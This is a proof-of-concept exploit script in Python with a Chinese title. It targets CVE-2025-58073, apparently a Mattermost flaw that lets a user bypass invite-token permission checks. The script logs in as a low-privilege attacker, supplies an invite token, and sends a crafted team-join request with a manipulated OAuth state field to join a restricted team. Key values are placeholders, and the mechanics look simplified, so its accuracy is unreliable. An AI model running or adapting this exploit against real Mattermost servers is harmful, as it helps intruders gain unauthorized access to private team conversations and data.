CVE-2025-58073 Mattermost团队邀请令牌权限验证绕过漏洞

# CVE-2025-58073 PoC - Mattermost Team Invite Token Permission Bypass # Exploit: Manipulating OAuth state to bypass team join permission verification import requests import re from urllib.parse import urlparse, parse_qs TARGET_SERVER = "https://mattermost.example.com" ATTACKER_SESSION = requests.Session() def login_as_attacker(username, password): """Login to Mattermost as a low-privilege user""" login_url = f"{TARGET_SERVER}/api/v4/users/login" resp = ATTACKER_SESSION.post(login_url, json={"login_id": username, "password": password}) if resp.status_code == 200: token = resp.headers.get("Token") ATTACKER_SESSION.headers.update({"Authorization": f"Bearer {token}"}) print(f"[+] Logged in as: {username}") return True return False def get_invite_token(team_id): """Obtain a valid invite token for a team (e.g., from a public channel or leaked link)""" invite_url = f"{TARGET_SERVER}/api/v4/teams/{team_id}/invite_email" # In practice, attacker may obtain invite token from various sources # such as intercepted links, public posts, or shared channels resp = ATTACKER_SESSION.post(invite_url, json={"emails": ["[email protected]"]}) # Extract token from response or use a captured token return "captured_invite_token_here" def exploit_oauth_state_bypass(target_team_id, invite_token): """ Exploit: Manipulate OAuth state parameter to bind invite token to an arbitrary restricted team, bypassing join permission checks. """ # Step 1: Initiate OAuth flow with manipulated state oauth_state = { "token": invite_token, "team_id": target_team_id # Target restricted team } # Step 2: Send join request with manipulated state join_url = f"{TARGET_SERVER}/api/v4/teams/{target_team_id}/members" payload = { "team_id": target_team_id, "invite_token": invite_token, "state": oauth_state # Manipulated OAuth state } resp = ATTACKER_SESSION.post(join_url, json=payload) if resp.status_code == 201: print(f"[+] SUCCESS: Joined restricted team {target_team_id}") print(f"[+] Response: {resp.json()}") return True else: print(f"[-] Failed: {resp.status_code} - {resp.text}") return False if __name__ == "__main__": # Login as low-privilege attacker if login_as_attacker("attacker_user", "password123"): # Target a restricted team target_team = "restricted_team_id_here" # Obtain any valid invite token token = get_invite_token("any_team_id") # Exploit the vulnerability exploit_oauth_state_bypass(target_team, token)